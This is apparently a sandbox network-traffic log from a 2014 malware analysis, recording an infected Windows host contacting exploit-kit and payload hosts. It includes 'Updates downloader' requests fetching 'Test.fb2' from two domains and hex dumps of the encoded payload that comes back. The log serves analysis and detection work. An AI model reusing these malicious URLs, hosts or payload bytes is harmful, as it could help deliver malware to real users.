47 12 73 97 76 70 7a c5 26 7c 20 97 76 70 7a 06 29 73 20 96 76 70 7a c5 26 7d 20 ea 76 70 7a 06 29 21 20 98 76 70 7a 06 29 23 20 b7 76 70 7a 06 Data Ascii: ,>204nhedb2nhdb234nh!db234nhadb234nhadb234nhadb234nhadb24nho{<3g@c~:BBA[BQRZDWFAw{=HW9cbEdb234nhGsvpz&\| vpz)s vpz&} vpz)! vpz)# vpz	319
Feb 27, 2014 17:54:33.078950882 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 29 22 20 96 76 70 7a 06 29 26 20 96 76 70 7a 33 0d 01 5a 97 76 70 7a 61 64 62 32 33 34 6e 68 61 64 62 32 33 34 6e 68 61 64 62 32 33 34 6e 68 31 21 62 32 7f 35 6d 68 88 7d e9 7d 33 34 6e 68 61 64 62 32 e3 34 4d 69 6a 65 67 3e 33 32 6e 68 61 74 62 Data Ascii: )" vpz)& vpz3Zvpzadb234nhadb234nhadb234nh1!b25mh}}34nhadb24Mijeg>32nhatb234nhpb23$nhaDb234.hatb236nhedb274ohedb234nha$b230nh5.b214nhadr23$nhadr23$nhadb2#4nhadb234nhNb2c4nhaTb2#4nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb2	320
Feb 27, 2014 17:54:33.078959942 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 74 86 80 62 9b 61 cd 00 14 5d a8 21 57 61 f2 13 74 ad 5b 41 a4 61 da f3 37 6d 28 9e e7 a4 16 b8 3a 6d a0 62 ac e9 77 cf 37 a6 67 d6 65 e1 dc 17 bf 20 74 ec 60 e3 b9 7e c8 e5 6c 60 a7 22 da cc 07 ad 28 41 44 8a f1 f3 dc 6d ab a2 a4 a2 31 f0 07 ae Data Ascii: tba]!Wat[Aa7m(:mbw7ge t`~l`"(ADm1HrnFI5RIna1~lCr3}-i334Eli%1 34sUf9v]9n{y['qkfEo#F"s-#ws%#YA-/aH7	322
Feb 27, 2014 17:54:33.079042912 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 44 22 32 23 14 2e 68 59 44 22 32 3b 14 2e 68 49 44 22 32 5c 57 68 03 e1 d9 95 8b b1 86 74 8a 57 8d 55 e5 08 86 c9 01 84 75 05 2b ca 93 1a 55 8f 4b a6 a3 6a be 54 b4 5f c0 ec 41 c7 57 69 76 92 e7 64 7b 8a 41 9e e7 3b 8d 6e f9 19 90 ec 06 92 61 33 Data Ascii: D"2#.hYD"2;.hID"2\WhtWUu+UKjT_AWivd{A;na3Y`Z7qWA%n3u/f<]wkutSq2w$82}hu-s~?ia}WW/fc:kPd5h~QFz^\;b>\|!u8	323
Feb 27, 2014 17:54:33.079047918 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 79 3a 77 8d c6 73 2b d7 02 8a f9 32 fe 6a c8 1c 84 e3 0d 94 07 0a 2d d7 be 76 3c 8e 53 9a d1 4f 71 02 29 71 1e 9e cb fe fb 7f fa ab 2e 01 b1 e9 ec 3b 9f 06 0e d9 80 6a 2a 0e 79 56 03 ef a1 38 9f ae d3 03 3d 7d a4 b5 56 13 e3 f9 3b 8f 31 43 1e 1d Data Ascii: y:ws+2j-v<SOq)q.;jyV8=}V;1C~G:;mo!J SVPxk9=TH()E8dYB=Ui:29}(mk&j1:6i?AWSaRLCr?.P;!	325
Feb 27, 2014 17:54:33.079139948 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 64 62 32 33 34 6e 68 61 64 62 32 33 34 6e 68 61 64 62 32 33 34 6e 68 61 64 62 32 33 34 6e 68 61 64 62 32 33 34 6e 68 61 64 62 32 33 34 6e 68 61 64 62 32 33 34 6e 68 61 64 62 32 33 34 6e 68 61 64 62 32 33 34 6e 68 61 64 62 32 33 34 6e 68 61 64 62 Data Ascii: db234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb234nhadb2	326
Feb 27, 2014 17:54:34.745933056 MEZ	1046	80	192.168.0.18	23.239.12.68	GET /favicon.ico HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Host: northwesternfoods.com Connection: Keep-Alive	359
Feb 27, 2014 17:54:35.394273996 MEZ	80	1046	23.239.12.68	192.168.0.18	HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Thu, 27 Feb 2014 16:54:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive	385
Feb 27, 2014 17:54:35.420903921 MEZ	1051	80	192.168.0.18	103.8.127.2	GET /hootsup/2012/Test.fb2 HTTP/1.1 Accept: text/, application/ User-Agent: Updates downloader Host: 99websoft.com Cache-Control: no-cache	386
Feb 27, 2014 17:54:35.549726963 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0	386
Feb 27, 2014 17:54:37.825150013 MEZ	1052	80	192.168.0.18	204.79.197.200	GET /favicon.ico HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate If-Modified-Since: Sat, 19 Oct 2013 01:08:06 GMT User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Host: www.bing.com Connection: Keep-Alive Cookie: SRCHD=SM=1&MS=3114430&D=3114430&AF=MSN005; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131202; MUID=345C338958C660911552361E5CC662BD; SRCHHPGUSR=CW=764&CH=389; MUIDB=345C338958C660911552361E5CC662BD; SRCHUID=V=2&GUID=A4455F1FF2444C23961AA4CD67C08F2D	387
Feb 27, 2014 17:54:38.485987902 MEZ	80	1052	204.79.197.200	192.168.0.18	HTTP/1.1 304 Not Modified Date: Thu, 27 Feb 2014 16:54:37 GMT Cache-Control: public, max-age=15552000	387
Feb 27, 2014 17:54:43.589080095 MEZ	1054	80	192.168.0.18	173.254.28.46	GET /combines/cartooning.js HTTP/1.1 Accept: / Referer: http://jsmpodcast.info/persecuted/index.html Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: tattitude.co.uk Connection: Keep-Alive	388
Feb 27, 2014 17:54:43.789729118 MEZ	1055	80	192.168.0.18	23.239.12.68	GET /sg3oyoe0v2 HTTP/1.1 Accept: / Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: northwesternfoods.com Connection: Keep-Alive	389
Feb 27, 2014 17:54:44.640028000 MEZ	80	1055	23.239.12.68	192.168.0.18	HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Thu, 27 Feb 2014 16:54:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0	389
Feb 27, 2014 17:54:44.737849951 MEZ	1055	80	192.168.0.18	23.239.12.68	GET /favicon.ico HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Host: northwesternfoods.com Connection: Keep-Alive	390
Feb 27, 2014 17:54:45.201857090 MEZ	80	1055	23.239.12.68	192.168.0.18	HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Thu, 27 Feb 2014 16:54:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive	390
Feb 27, 2014 17:54:45.394169092 MEZ	80	1055	23.239.12.68	192.168.0.18	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0	390
Feb 27, 2014 17:55:05.946644068 MEZ	1056	80	192.168.0.18	103.8.127.2	GET /hootsup/2012/Test.fb2 HTTP/1.1 Accept: text/, application/ User-Agent: Updates downloader Host: 99websoft.com Cache-Control: no-cache Connection: Keep-Alive	391
Feb 27, 2014 17:55:37.247545958 MEZ	1057	80	192.168.0.18	103.8.127.190	GET /wp-content/uploads/2013/09/Test.fb2 HTTP/1.1 Accept: text/, application/ User-Agent: Updates downloader Host: myhousejob.com Cache-Control: no-cache	392
Feb 27, 2014 17:55:40.702784061 MEZ	80	1057	103.8.127.190	192.168.0.18	HTTP/1.1 200 OK Date: Thu, 27 Feb 2014 16:55:37 GMT Server: Apache Last-Modified: Thu, 27 Feb 2014 15:45:07 GMT Accept-Ranges: bytes Content-Length: 256674 Content-Type: text/plain Data Raw: 5a 5a 50 00 4a 10 17 b4 10 3c 17 fa 4a ac 17 7b 4e ac 27 06 b5 ac 17 41 4a 94 3a f8 4a ec 13 c1 53 ac ff f9 46 a2 08 f9 f0 a2 17 4d 43 61 36 41 4a ad 5b 34 6b f8 7f 90 39 ac 37 89 38 c3 70 8b 2b c1 17 d9 29 cd 79 97 25 d8 37 f9 28 c9 37 8b 3f c2 37 90 4a c2 37 bd 05 ff 37 94 25 2c 73 9c 64 a1 1a f3 6e a8 91 f9 f2 13 87 53 b6 72 e9 00 0b a9 14 ed 8b 59 ee 04 4a ab 68 e9 88 5c ee 0c 48 a3 e3 00 9f ed 17 fe e0 6d fa 00 be ac 10 7b 1a 50 f5 00 b1 ac 10 f5 4a 8b fb f8 4e 9f f4 26 b4 55 45 90 29 aa 7f f8 41 b9 bc a9 0f ac 17 b5 ca ad 13 f9 0c c8 34 be 4f bf 17 19 4a 8f 16 f2 4b a9 1b 6d 4a 90 97 87 9c 2f 1e 33 a1 2c 91 a7 5a ad 0f 78 c2 2c 95 78 4f ae 94 76 48 80 17 f8 c8 af 14 69 4f ae 1d 1f b9 52 12 f8 45 ac 17 f9 5e 2d 02 7f 49 aa 14 fb 4a 8c 8b 44 4e ac 2b f8 4e 9c 12 c1 4a 6c 1d d9 e4 89 17 79 19 e4 16 b8 5d a3 39 8d 2f d4 63 79 49 58 29 c2 4a fa 16 b1 cb d9 11 9b 49 ac 37 f9 4a ac 77 d7 38 c8 76 8d 2b 74 17 f9 Data Ascii: ZZPJ<J{N'AJ:JSFMCa6AJ[4k978p+)y%7(7?7J77%,sdnSrYJh\Hm{PJN&UE)A4OJKmJ/3,Zx,xOvHiORE^-IJDN+NJly]9/cyIX)JI7Jw8v+t	392
Feb 27, 2014 17:55:40.727035046 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: fa ad 1c 38 74 da d6 c1 41 a6 9e b9 09 ec 39 7a 43 ac 4b aa 4a ad 3d 29 8a ab 51 39 4b 1a d9 f0 8a 82 67 8b 39 de 74 39 48 6e 2d 39 76 ac ed f5 8a ad eb 36 59 93 57 c6 4a 93 17 c6 4a af 28 f9 79 ac 42 72 a6 2f fb e9 4a 53 62 f1 c7 e1 e7 11 9f bd Data Ascii: 8tA9zCKJ=)Q9Kg9t9Hn-9v6YWJJ(yBr/JSb7?KSbJSb??J/J,jJr,z+0cOHx\|cScNSKoeAv?FR/D8qJDIvJ"B,O,	394
Feb 27, 2014 17:55:40.727041960 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: e9 98 15 f9 79 6d fe 5c 5b fc 1f 91 51 40 27 af 04 79 14 e9 4a 6f af ff ba ac a9 0b 52 2e 57 19 09 e8 fa bd 4a 13 b6 f8 02 e4 ff 6c 3a 34 af 9d ea ad 16 bd 4f fd 47 f8 c1 a1 23 89 03 27 97 0e c1 aa 47 70 47 f1 17 f8 ea fd 24 39 a2 de 87 6e f3 8d Data Ascii: ym\[Q@'yJoR.WJl:4OG#'GpG$9nycJMiF!h)K(Kk)Or-UK8'ImyJoDrzSLF}}>E(iJo&WF7DK}xD`'"<6JA*	395
Feb 27, 2014 17:55:40.727125883 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 84 e4 03 b9 1a ac 17 92 4a d9 fa ab 2a 54 9c b4 76 8c 4c cf 95 07 17 f9 0e ac 17 f9 0a e4 c2 4e eb 62 44 9e 46 cd 57 f9 08 ac 16 11 4a dc f1 f9 68 b2 59 b7 d8 07 57 11 4e fc 5f f9 33 ac 03 e9 17 bb 57 35 7f ed 57 b1 0a ac 95 ed 4a ac 99 67 3c e5 Data Ascii: JTvLNbDFWJhYWN_3W5WJg<ChWJ>WJ,QyU5VHwX#.YJWJeKbbZ#IzU?wVfVKf>ESHDW]4>syFDe	396
Feb 27, 2014 17:55:40.731935024 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 90 ae e0 ac 57 3e 24 d8 e2 61 8f b6 37 76 28 a9 8e 6f 4f 26 7c f9 4a 44 c8 a9 e8 74 dc ba 88 2d 13 73 07 50 a3 4d e0 6b 93 7e 4a ae 6f d4 cd bf 1f 81 5b a0 d2 ab 8a e1 13 71 f2 b0 1b 07 4a c9 fb 47 34 78 14 d0 0e ad 51 70 47 97 0a 2d ea ac d5 f1 Data Ascii: W>$a7v(oO&\|JDt-sPMk~Jo[qJG4xQpG-_-\|o39ID{sl\|HSs!bvh,3&U=wsJu44S%6DdmiK{\$nN0k/i%qJbw_A6;{(<&'R 1R#`	397
Feb 27, 2014 17:55:40.737993002 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 34 ac 1b 87 25 01 55 bd 65 d2 16 5f 0e 8f 12 1b b2 2c c5 4d 4e 56 1b dd 0f d5 b6 3a d9 bc 15 d2 0c e8 95 8c e2 86 77 a3 4b 69 54 51 8f 7a 24 77 12 2c 16 1f 09 21 7c 10 f8 05 04 8c 4e 56 d1 dd 09 f4 3f 27 9e ed 57 e9 0a 81 21 9c e8 29 54 b3 4a 03 Data Ascii: 4%Ue_,MNV:wKiTQz$w,!\|NV?'W!)TJI-+ ?%o$H/~7H!JF^ylp$-}sDN?&Nm`S]Q4C,)n=j+?N~_V7mr\|L	398
Feb 27, 2014 17:55:40.737998962 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 4a 5e 06 81 f5 20 1b ad a4 ad 54 db 3d 9d 7a 74 8d c9 c4 f1 18 04 32 8c 68 7c 57 a3 a4 a4 f5 ee 6d da 35 c2 c4 1b e5 d9 d0 3f e4 78 03 fa 35 f4 87 ac 45 bc 9a 10 fc b7 b8 79 37 70 21 b8 34 be 8c 8e 1b d8 4a 16 0e ca 9b dc 90 6b 52 8c a2 9d e9 05 Data Ascii: J^ T=zt2h\|Wm5?x5Ey7p!4JkR?hy'*SfALhm!D7\FOVNja>G2M?Ct!5^X}<(4"a/Hotr'4O9i-PZ'_twqi5Ii3=h	400
Feb 27, 2014 17:55:40.738538980 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 1b 7a 66 f8 4f e9 18 1c e9 ce 69 bd 06 2c b8 49 0c 9f 42 e0 22 8a 51 f9 0e d0 73 b9 af d1 ab 9c 6a 6c 8f a8 bc 35 33 be 62 9d 37 f5 4f ee b8 0c 2c ea b5 66 4a 86 43 30 00 18 48 b9 0f 8c 76 96 9e 12 df bc 0d 1c e6 b9 2e 48 be a7 09 61 11 be bb ac Data Ascii: zfOi,IB"Qsjl53b7O,fJC0Hv.Ha-XeiW~3Je?:]NIP<9& l%?[oN^YNAA}S!?O}x\|,[uCYP3CqmTj7xcnN+{)<(QT	400
Feb 27, 2014 17:55:40.809299946 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 17 4d d3 bd 85 2b ca 0d 34 fb 03 e9 52 0b 14 ee 1f 9a de a8 46 ce ec e9 08 07 d0 c7 16 f9 8c 66 40 bc 74 cf 62 8b 4e 6e 67 3d 0f d4 df 6c c1 bf 16 ff 0f 22 56 cc d9 ec 07 f8 4b 29 53 11 c0 9c f7 45 02 90 97 7a 5b 7a df 77 f1 c4 f3 bd 4a f8 18 9f Data Ascii: M+4RFf@tbNng=l"VK)SEz[zwJ\|~xXjrW1W54Z)5=t*Glx%/h}]/hA_h",NLh97G .W9Z5C_)5_sj	401
Feb 27, 2014 17:55:40.820266962 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 1c 49 52 e1 0f 68 1f 5f f7 6c e1 db 74 3d 24 52 4e fd be 9f 68 fd dd c7 37 ad 17 3e 7f ff 53 7f 79 b5 9a f8 f9 8e 59 01 bc bd 7c 5f d6 ad c2 db 0d 90 5e f7 ff 68 5d d9 dc de 7b d2 e7 0a 35 1b c9 ec b6 b4 e8 d7 a9 aa ec 8e eb f9 91 2f 98 fd 02 7f Data Ascii: IRh_lt=$RNh7>SyY\|_^h]{5/\%i Wwi3,a4;2w887i%4#%3}W~nRnB@Qi\"#2LR'Qp\|N%bUtT#yP3	402
Feb 27, 2014 17:55:40.820285082 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: d8 00 1f 78 2b ac 45 f9 ca ac 62 40 d4 50 7f 90 ca 0a 16 f8 42 b8 41 a4 23 2d a4 97 42 44 56 a9 4a d0 57 11 0a 33 27 06 e3 47 16 79 2c 2c 1b 11 de 2c 57 09 4b be 37 3e 0b ac 50 f8 ca 2c ff 11 81 0d ee c2 20 bc dc b8 5e ec 97 d2 a2 44 d4 f9 87 c8 Data Ascii: x+Eb@PBA#-BDVJW3'Gy,,,WK7>P, ^D\M,rhJoAE1J_^=Dyp4I6x/MG-yB3Tb54VZ`%i&+-59iWGWHE)noL\|*hhyX	404
Feb 27, 2014 17:55:40.820398092 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: d2 49 a2 9e 4a 65 e7 70 0b 04 b7 cd 0a ae ad 1c 68 bf 5d 53 34 aa 31 79 e7 74 91 f5 03 1d d3 0d 68 ac 38 47 36 aa 98 76 bb e3 37 88 46 2b 0e cd 4c 8f f5 61 6a e7 6b 65 2d 85 d1 db 05 6d 07 2c 27 ab e7 5a 68 86 36 48 ca 4f 25 45 63 63 9c 27 ff 8e Data Ascii: IJeph]S41yth8G6v7F+Lajke-m,'Zh6HO%Ecc'xSRy$Jlh_@)#A!J5AHJ5:JdsM^BlmrVzO(3V2L1sShHTL!r)<3jUDHR@7ZH6:3	405
Feb 27, 2014 17:55:40.852406025 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 36 9c 37 aa 97 7e 26 2c de 76 ac cd d1 d8 ca 6a 01 b5 ca ae 76 38 2c 8d 17 5e 0b fa 98 27 2f f8 d4 f1 8b fc 92 9c 6b 9f 05 81 4e ac 33 41 05 52 af 87 5a a0 96 2f 6b a5 e0 21 cd a5 d1 4d 6b ac df c0 70 e7 86 eb fc f2 37 b6 93 ca 58 38 6c 8e 7e d7 Data Ascii: 67~&,vjv8,^'/kN3ARZ/k!Mkp7X8l~hcChG_dkRN+0]ky=+kqqIY*6$@J[mD]<ksCk9TUkgwGVB_Lc1&pskx''"b	405
Feb 27, 2014 17:55:40.863497019 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 38 ae 88 e3 4a e3 22 49 1c 10 66 54 1e ad d1 db 16 a0 6f 51 de 07 35 38 ae 8e 47 eb f9 fb 47 e9 25 6f 35 f9 04 93 24 bf 13 fe 15 7d 6a 2a 5b f5 29 f8 a1 db 39 e1 17 8a ab 9e c6 f3 0b ae 27 f1 50 e9 fd 5c 68 ec 18 2c 87 ac 3b ad 05 97 46 2a 16 f8 Data Ascii: 8J"IfToQ58GG%o5$}j[)9'P\h,;FKj5f]K5X,y55,U)C5-y$!t5)Z5g^bToh8Z5SsQ/iqvAq[BtlKj5MMch	407
Feb 27, 2014 17:55:40.863972902 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 1d 8a 55 b9 85 9a 9b f1 81 38 98 9c 08 65 9f 32 90 ac ff f4 62 81 13 2a 71 c8 16 9d 08 86 79 ad 4b 4c 73 c6 6a ad 1d 4f 1b c9 51 bb b0 11 17 bd 6f 0e 5f 3d 7f 9d 25 e9 f7 83 5e 09 8c ee 26 a0 cf bc dd b9 6c df 14 bb 83 f6 35 b9 9a e9 d7 fb b2 35 Data Ascii: U8e2b*qyKLsjOQo_=%^&l55m5C 1+qLWZU.[1,BhHWN9hUJT.?WS3dGB;s'Ps] 7'}2G[JT=~Go5	407
Feb 27, 2014 17:55:40.977988005 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 7d 62 2e 78 36 b9 ca 17 bb 78 0f 65 a1 d8 f6 ac ee 59 16 1b 81 05 9f e8 1b 00 38 fc 6a 7d 6b 55 77 a9 0b ac bf 28 26 e9 64 40 a4 18 13 e2 b8 3a 54 89 f8 59 c6 81 42 ac 29 90 fc 8d f6 f3 b0 c3 17 4a 3a ca 12 57 18 d8 fb f8 ce 8d 70 4f 80 fe ff 76 Data Ascii: }b.x6xeY8j}kUw(&d@:TYB)J:WpOvOok5aBGAogHmOTqJ'>dChX05&V{AiJr)X@5/4_dh`#UT[y'.j78Lq1;>	409
Feb 27, 2014 17:55:40.978091955 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 7f e3 4a 44 5f f9 5e ac ff f9 5e b8 77 cb 6a eb 53 8a 30 fc 17 85 02 ac 17 11 2a ef 2f 29 41 ae d8 b9 4c aa b2 ed 1a ac 15 35 a2 ac 6e 9c 28 34 e5 b8 6d b8 17 e6 80 a6 49 ee 33 44 03 e9 4a ed 17 a9 4a 32 97 c9 05 ac b7 cc 0c cd ff ed a2 b8 17 b9 Data Ascii: JD_^^wjS0*/)AL5n(4mI3DJJ2JJFmW%B>JDGuZjE2h\|joJ_%/WJ#]kV~DGi^dWK;\|z!EJ	409
Feb 27, 2014 17:55:40.989123106 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 11 09 ef f9 d5 04 2a c7 7c 72 85 0d 49 ec 13 39 0f 44 03 1e 30 52 03 c9 dc c0 e1 08 0b 8f 97 dd 4a ec 17 ea 19 90 fe 82 db e2 58 79 f9 8f a3 ba 48 24 53 bc c3 ac be d2 7c 61 30 c9 91 e8 15 90 cc 24 4c 58 7a a3 43 2f ca 52 7b ee ba a4 cf af 0e 26 Data Ascii: *\|rI9D0RJXyH$S\|a0$LXzC/R{&5x0B3&{P+Et#O:Y5(NaD/W/(P]hQ3jU{xg{iQE)xi0Jw=%I/T6M,C}K)P=f	411
Feb 27, 2014 17:55:40.989130020 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: ac ac 67 aa 15 c4 31 08 07 54 16 cf 69 d4 a2 a9 89 f2 73 f5 4b 99 34 a5 b8 23 06 31 7e df 07 0a 82 23 e7 0f 68 9c 68 79 0a 64 86 80 10 6e 74 0c 68 11 97 3c 2c a8 c7 2e 81 97 e1 db ca c4 50 24 9a 9e a6 f6 3e 8e 17 b1 04 d1 36 4e 92 7a 77 fb 4e fa Data Ascii: g1TisK4#1~#hhydnth<,.P$>6NzwN5{.y]w4p#(chM5upK5/7z,\k)@-)nha(p$e5B,9^T/kbKdfui.6fNOjPIRi[~o	412
Feb 27, 2014 17:55:40.989216089 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: a2 fc 5f f9 cd ac 17 ed 87 3e 38 59 28 cb 37 4f 0b ec 5f b9 4a e5 03 f9 4a 84 54 44 0c b5 a5 9d 2c 2c 42 e6 f6 28 96 9a 0a 2e 42 f8 4a e2 77 eb af 07 9b 34 0a bc 5f 11 4a fc 97 fe 97 bd 45 f9 c1 73 a6 49 6b 6e 57 b8 4b 2e 6a eb 13 fb 68 13 58 9c Data Ascii: _>8Y(7O_JJTD,,B(.BJw4_JEsIknWK.jhX-eDJL/$,>HJ?wQ_J,q-rJMvyJ1k{53DVJ,WwHJ,EKOgOe(zFyDO3jB-	413
Feb 27, 2014 17:55:41.021959066 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 21 ab df a5 11 71 a7 c3 17 84 22 93 b0 f9 d8 ed c3 e9 8e 88 37 13 4f 25 40 83 01 a4 1a b6 e2 6a 90 f8 73 9b 89 f9 52 19 56 99 83 1b 0b 2d 46 fe 8b b9 2f ae 9f 93 28 e9 01 f1 6e eb 1c 7f cd 00 c6 6a 0e ac ca c0 ae af 74 b0 67 8e 1f 7a 61 8d 52 70 Data Ascii: !q"7O%@jsRV-F/(njtgzaRpJ&B3[R@`KRx()\%Nedt_J?.Ui!`R^h83%=jWABUj>TrEnU=	414
Feb 27, 2014 17:55:41.033051968 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 68 f2 a4 28 ae ee ea f9 31 97 d7 b7 2c f5 ca b9 5a a5 d9 22 9a 89 54 30 d4 73 17 1e 4f 27 26 d0 7a f0 b1 fd e6 7c 31 bd e7 89 0e 41 7a ae 5c 1c 09 97 1c f0 8f 85 22 fb 43 8a 54 90 c0 d4 6c a9 50 ac de 91 f2 00 1a af 38 c7 15 45 2f e8 b7 ba 08 fc Data Ascii: h(1,Z"T0sO'&z\|1Az\"CTlP8E/4P/r(:D(&]]]oG_LJ0y!w+\|I(sJ+]vUer5'Ohq7>{_~A,\|r_Q;VLW9>*RJ_	415
Feb 27, 2014 17:55:41.033070087 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: b5 e6 66 3c fc 8c 9e f9 72 53 5d b1 1b 51 58 78 42 8d 3d 8d be 8c 14 95 f1 e8 17 46 48 fd 98 e4 1c ec 5f fb 86 7a 37 c9 e4 42 32 c8 fd ec 28 9b bd 55 47 7b 7f 8d 22 f9 20 c8 aa cf 3d f0 3e 35 6a 0b 08 90 63 cf a0 d8 44 97 57 ed f6 16 33 42 f6 f8 Data Ascii: f<rS]QXxB=FH_z7B2(UG{" =>5jcDW3B6jT"O2pQeq85')R}"NH6^kvu-}bK~!W-(g:6JbZ/h9O@ylSa$U-k.W7FwoJx	417
Feb 27, 2014 17:55:41.033123016 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: dc f6 1d 52 02 44 0c f8 ec 93 42 81 83 52 a5 a1 7c ad f2 c6 5f 13 87 1e ca 25 20 f9 41 2e 67 05 e3 a5 f9 b0 cb 2a 57 97 9f 97 2b 7f 72 09 57 79 99 d0 17 36 5a 58 ee df 0a 2c 8b 9c da 08 58 46 b4 c8 57 f9 86 ec bf 1e 8d 89 a8 d5 0a fc ee 95 0a 8b Data Ascii: RDBR\|_% A.gW+rWy6ZX,XFWv@MZ((<Apl0},_"~NziW)nH^QR.G:lq)Blu1HEo\|R52IWB(Q	418
Feb 27, 2014 17:55:41.033179998 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 12 9e 85 ef bf 75 50 e9 0a 51 0f 12 ff 8f 57 f9 31 8c d3 42 c4 ac 14 7d 69 4b 24 f9 2e e4 7f 30 a9 25 4d 00 4c 5c b7 47 3e 8f 24 e8 64 ed 7b e9 c4 6a 8b 7f 6c 8f 33 bc 16 ac 9f cd 18 0c 27 45 db 93 13 b4 64 e9 34 a6 e2 8a df 79 0a a3 76 dc b7 bf Data Ascii: uPQW1B}iK$.0%ML\G>$d{jl3'Ed4yv:_i,$2(h;i4	418
Feb 27, 2014 17:55:41.091382027 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 4a 8d e6 bc b6 b9 5e ae b1 da 94 a5 da f9 3a bd 3a e8 1d e8 6e b1 48 89 62 da db 3b 79 79 0d 67 17 c4 70 4a 05 eb 26 c6 80 f8 bc 8f 52 73 21 19 16 34 64 a8 6f 8e fe 8f 7b 26 0a 3f bb f8 cf 8f 75 51 d2 32 0d f6 3a ae 99 cf 69 a8 9c 9b 42 2d e0 b9 Data Ascii: J^::nHb;yygpJ&Rs!4do{&?uQ2:iB-2BRCU=Ai`bgXJ}Sy~\Oi,J~>#JmDn^/,n]Nns2*>b=FlOn#NsnXy	420
Feb 27, 2014 17:55:41.091399908 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 58 bc 09 8f b3 45 4a a0 aa f9 00 ab d3 29 1e a4 1d e5 4c 6a 54 9f 31 e4 be f9 0a eb b9 b9 4f ed f0 69 42 4b 35 fb 8f e8 b1 6b 12 f6 37 7b 7e f0 03 93 0c e8 98 ad 6a 8d 50 b8 3b 6b 92 bd f7 72 37 5b fb 9f 73 a7 cc ef 72 b9 5a 20 1a f9 14 48 55 3d Data Ascii: XEJ)LjT1OiBK5k7{~jP;kr7[srZ HU=[L#pJQ7JwvF#A3slJ`n~-Ql-pNJJ~5g7q$J!J0JQBq!jlJeLI<,rVWDWp,x/	421
